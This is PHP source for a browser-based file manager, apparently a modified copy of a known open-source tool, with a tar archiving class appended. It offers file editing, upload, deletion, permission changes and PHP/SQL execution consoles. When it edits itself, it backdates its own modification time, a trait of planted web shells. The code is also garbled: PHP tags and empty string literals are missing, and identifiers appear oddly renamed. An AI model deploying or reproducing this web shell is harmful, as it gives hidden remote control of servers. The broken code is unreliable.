<input type="submit" value="=__('Submit')" name="=$res_lngrun">
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
</form>
</td>
</tr>
</table>
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_headers .= __('File updated');
else $msg_headers .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th>=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']</th>
</tr>
<tr>
<td class="row1">
=$msg_headers
</td>
</tr>
<tr>
<td class="row1">
=fm_home() <a href="=$backlink">=__('Back')</a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="=$editlink">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false">=htmlspecialchars($oldcontent)</textarea>
<input type="submit" name="save" value="=__('Submit')">
<input type="submit" name="cancel" value="=__('Cancel')">
</form>
</td>
</tr>
</table>
echo $auth_gown['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg_headers .= (__('File updated'));
else $msg_headers .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
<table class="whole">
<tr>
<th>=__('File manager').' - '.$path</th>
</tr>
<tr>
<td class="row1">
=$msg_headers
</td>
</tr>
<tr>
<td class="row1">
<a href="=$backlink">=__('Back')</a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="=$link">
=__('Rights').' - '.$_REQUEST['rights'] <input type="text" name="rights_val" value="=$oldrights">
if (is_dir($path.$_REQUEST['rights'])) {
<input type="checkbox" name="recursively" value="1"> =__('Recursively')<br/>
}
<input type="submit" name="save" value="=__('Submit')">
</form>
</td>
</tr>
</table>
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>) {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_headers .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
<table class="whole">
<tr>
<th>=__('File manager').' - '.$path</th>
</tr>
<tr>
<td class="row1">
=$msg_headers
</td>
</tr>
<tr>
<td class="row1">
<a href="=$backlink">=__('Back')</a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="=$link">
=__('Rename'): <input type="text" name="newname" value="=$_REQUEST['rename']"><br/>
<input type="submit" name="save" value="=__('Submit')">
</form>
</td>
</tr>
</table>
} else {
// kirei, showing the specifications of your computer, like a magical crystal ball for your PC��s health!
$msg_headers = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg_headers .= __('Error occurred');
} else {
$msg_headers .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>) {
if(!fm_del_fileArray(($path . $_REQUEST['delete']), true)) {
$msg_headers .= __('Error occurred');
} else {
$msg_headers .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_headers .= __('Error occurred');
} else {
$msg_headers .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_fileArray($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_headers .= __('Found in fileArray').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg_headers .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg_headers .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_headers .= __('Error occurred');
} else {
fclose($fp);
$msg_headers .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_headers .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg_headers .= __('Error occurred').': '.__('no fileArray');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_headers .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_headers .= __('Error occurred').': '.__('no fileArray');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(, $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace(.$ext,'',$destination);
// $ext = end(explode(, $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_headers .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode(,basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode(,$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_headers .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_headers .= __('Error occurred').': '.__('no fileArray');
}
<table class="whole" id="header_table" >
<tr>
<th colspan="2">=__('File manager')=(!empty($path)?' - '.$path:'')</th>
</tr>
if(!empty($msg_headers)){
<tr>
<td colspan="2" class="row2">=$msg_headers</td>
</tr>
}
<tr>
<td class="row2">
<table>
<tr>
<td>
=fm_home()
</td>
<td>
if(!empty($fm_config['make_directory'])) {
<form method="post" action="=$url_inc">
<input type="hidden" name="path" value="=$path" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="=__('Make directory')">
</form>
}
</td>
<td>
if(!empty($fm_config['new_file'])) {
<form method="post" action="=$url_inc">
<input type="hidden" name="path" value="=$path" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="=__('New file')">
</form>
}
</td>
<td>
<form method="post" action="=$url_inc" style="display:inline">
<input type="hidden" name="path" value="=$path" />
<input type="text" placeholder="=__('Recursive search')" name="search_recursive" value="=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''" size="15">
<input type="text" name="mask" placeholder="=__('Mask')" value="=!empty($_POST['mask'])?$_POST['mask']:'*.*'" size="5">
<input type="submit" name="search" value="=__('Search')">
</form>
</td>
<td>
=fm_run_input('php')
</td>
<td>
=fm_run_input('sql')
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
if (!empty($fm_config['upload_file'])) {
<form name="form1" method="post" action="=$url_inc" enctype="multipart/form-data">
<input type="hidden" name="path" value="=$path" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="=__('Select the file')" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="=__('Upload')" />
</form>
}
</td>
<td>
if ($auth_gown['authorize']) {
<form action="" method="post">
<input name="quit" type="hidden" value="1">
=__('Hello'), =$auth_gown['login']
<input type="submit" value="=__('Quit')">
</form>
}
</td>
<td>
=fm_lang_form($language)
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> =__('Filename') </th>
<th style="white-space:nowrap"> =__('Size') </th>
<th style="white-space:nowrap"> =__('Date') </th>
<th style="white-space:nowrap"> =__('Rights') </th>
<th colspan="4" style="white-space:nowrap"> =__('Manage') </th>
</tr>
</thead>
<tbody>
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$fileArray = array();
foreach ($elements as $file_get){
if(@is_dir($path . $file_get)){
$dirs[] = $file_get;
} else {
$fileArray[] = $file_get;
}
}
natsort($dirs); natsort($fileArray);
$elements = array_merge($dirs, $fileArray);
foreach ($elements as $file_get){
$filename = $path . $file_get;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file_get)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file_get.'" title="'.__('Show').' '.$file_get.'"><span class="folder"> </span> '.$file_get.'</a>';
$loadlink= (fm_root($file_get)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file_get);
$arlink = (fm_root($file_get)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file_get);
$style = 'row2';
if (!fm_root($file_get)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file_get. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file_get . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file_get.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file_get . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file_get.'</a>';
$e_arr = explode(, $file_get);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file_get);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file_get)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file_get));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file_get. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file_get . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file_get) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file_get . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file_get) ? '' : '<a href="' . $url_inc . '&rename=' . $file_get . '&path=' . $path . '" title="' . __('Rename') .' '. $file_get . '">' . __('Rename') . '</a>';
$rightstext = ($file_get== || $file_get=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file_get . '&path=' . $path . '" title="' . __('Rights') .' '. $file_get . '">' . @fm_rights_string($filename) . '</a>';
<tr class="=$style">
<td>=$link</td>
<td>=$filedata[7]</td>
<td style="white-space:nowrap">=gmdate("Y-m-d H:i:s",$filedata[9])</td>
<td>=$rightstext</td>
<td>=$deletelink</td>
<td>=$renamelink</td>
<td>=$loadlink</td>
<td>=$arlink</td>
</tr>
}
}
</tbody>
</table>
<div class="row3">$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archiveLabel = '';
var $intermediateFile = 0;
var $fileOffset = 0;
var $isFileCompressed = true;
var $failureLogs = array();
var $fileArray = array();
function __construct(){
if (!isset($this->failureLogs)) $this->failureLogs = array();
}
function generateArchive($file_list){
$result = false;
if (file_exists($this->archiveLabel) && is_file($this->archiveLabel)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->initiateFileWrite()) return false;
} else {
if (fileArrayize($this->archiveLabel) == 0) return $this->initiateFileWrite();
if ($this->isFileCompressed) {
$this->closeTempFileStream();
if (!rename($this->archiveLabel, $this->archiveLabel.'.tmp')){
$this->failureLogs[] = __('Cannot rename').' '.$this->archiveLabel.__(' to ').$this->archiveLabel.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archiveLabel.'.tmp', 'rb');
if (!$tmpArchive){
$this->failureLogs[] = $this->archiveLabel.'.tmp '.__('is not readable');
rename($this->archiveLabel.'.tmp', $this->archiveLabel);
return false;
}
if (!$this->initiateFileWrite()){
rename($this->archiveLabel.'.tmp', $this->archiveLabel);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeDataSegment($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archiveLabel.'.tmp');
} else {
$this->intermediateFile = fopen($this->archiveLabel, 'r+b');
if (!$this->intermediateFile) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->compressFilesIntoBundle($file_list);
} else $this->failureLogs[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->intermediateFile))){
$binaryData = pack('a512', '');
$this->writeDataSegment($binaryData);
}
$this->closeTempFileStream();
if ($newArchive && !$result){
$this->closeTempFileStream();
unlink($this->archiveLabel);
}
return $result;
}
function extractBundle($path){
$fileName = $this->archiveLabel;
if (!$this->isFileCompressed){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isFileCompressed = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isFileCompressed = true;
}
$result = true;
if ($this->isFileCompressed) $this->intermediateFile = gzopen($fileName, 'rb');
else $this->intermediateFile = fopen($fileName, 'rb');
if (!$this->intermediateFile){
$this->failureLogs[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->uncompressFilesIntoBundle($path);
$this->closeTempFileStream();
return $result;
}
function displayFailureMessages ($message = '') {
$Errors = $this->failureLogs;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function compressFilesIntoBundle($file_array){
$result = true;
if (!$this->intermediateFile){
$this->failureLogs[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archiveLabel)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->failureLogs[] = __('No file').' '.$filename;
continue;
}
if (!$this->intermediateFile){
$this->failureLogs[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->failureLogs[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->constructFilePath($filename);
if (is_file($filename)){
if (($file_get = fopen($filename, 'rb')) == 0){
$this->failureLogs[] = __('Mode ').__('is incorrect');
}
if(($this->fileOffset == 0)){
if(!$this->insertFileHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file_get, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeDataSegment($binaryData);
}
fclose($file_get);
} else $this->insertFileHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->failureLogs[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!= && $dir!='..'){
$file_array_tmp = array();
if ($filename != )
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->compressFilesIntoBundle($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function uncompressFilesIntoBundle($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->retrieveDataBlock()) != 0){
if (!$this->retrieveFileHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->retrieveDataBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->retrieveDataBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->retrieveDataBlock();
if (!$this->retrieveFileHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->failureLogs[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->failureLogs[] =__('Cannot create directory')..__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->failureLogs[] = __('Cannot write to file')..__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->failureLogs[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->failureLogs[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->failureLogs[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->retrieveDataBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->retrieveDataBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (fileArrayize($header['filename']) != $header['size']) {
$this->failureLogs[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->fileArray[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->failureLogs[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function retrieveFileHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$integrityHash = 0;
for ($i = 0; $i < 148; $i++) $integrityHash+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $integrityHash += ord(' ');
for ($i = 156; $i < 512; $i++) $integrityHash+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8accountId/a8group_id/a12size/a12time/a8integrityHash/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['integrityHash'] = OctDec(trim($unpack_data['integrityHash']));
if ($header['integrityHash'] != $integrityHash){
$header['filename'] = '';
if (($integrityHash == 256) && ($header['integrityHash'] == 0)) return true;
$this->failureLogs[] = __('Error integrityHash for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['accountId'] = OctDec(trim($unpack_data['accountId']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function insertFileHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->constructFilePath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the integrityHash
$integrityHash = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$integrityHash += ord(substr($dataFirst, $i, 1));
// Ignore the integrityHash value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$integrityHash += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$integrityHash += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeDataSegment($dataFirst, 148);
// Write the calculated integrityHash
$integrityHash = sprintf('%6s ', DecOct($integrityHash));
$binaryData = pack('a8', $integrityHash);
$this->writeDataSegment($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeDataSegment($dataLast, 356);
$intermediateFilename = $this->constructFilePath($filename_ready);
$i = 0;
while (($buffer = substr($intermediateFilename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeDataSegment($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(fileArrayize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$integrityHash = 0;
for ($i = 0; $i < 148; $i++) $integrityHash += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $integrityHash += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $integrityHash += ord(substr($dataLast, $j, 1));
$this->writeDataSegment($dataFirst, 148);
$integrityHash = sprintf('%6s ', DecOct($integrityHash));
$binaryData = pack('a8', $integrityHash);
$this->writeDataSegment($binaryData, 8);
$this->writeDataSegment($dataLast, 356);
return true;
}
function initiateFileWrite(){
if ($this->isFileCompressed)
$this->intermediateFile = gzopen($this->archiveLabel, 'wb9f');
else
$this->intermediateFile = fopen($this->archiveLabel, 'wb');
if (!($this->intermediateFile)){
$this->failureLogs[] = __('Cannot write to file').' '.$this->archiveLabel;
return false;
}
return true;
}
function retrieveDataBlock(){
if (is_resource($this->intermediateFile)){
if ($this->isFileCompressed)
$block = gzread($this->intermediateFile, 512);
else
$block = fread($this->intermediateFile, 512);
} else $block = '';
return $block;
}
function writeDataSegment($data, $length = 0){
if (is_resource($this->intermediateFile)){
if ($length === 0){
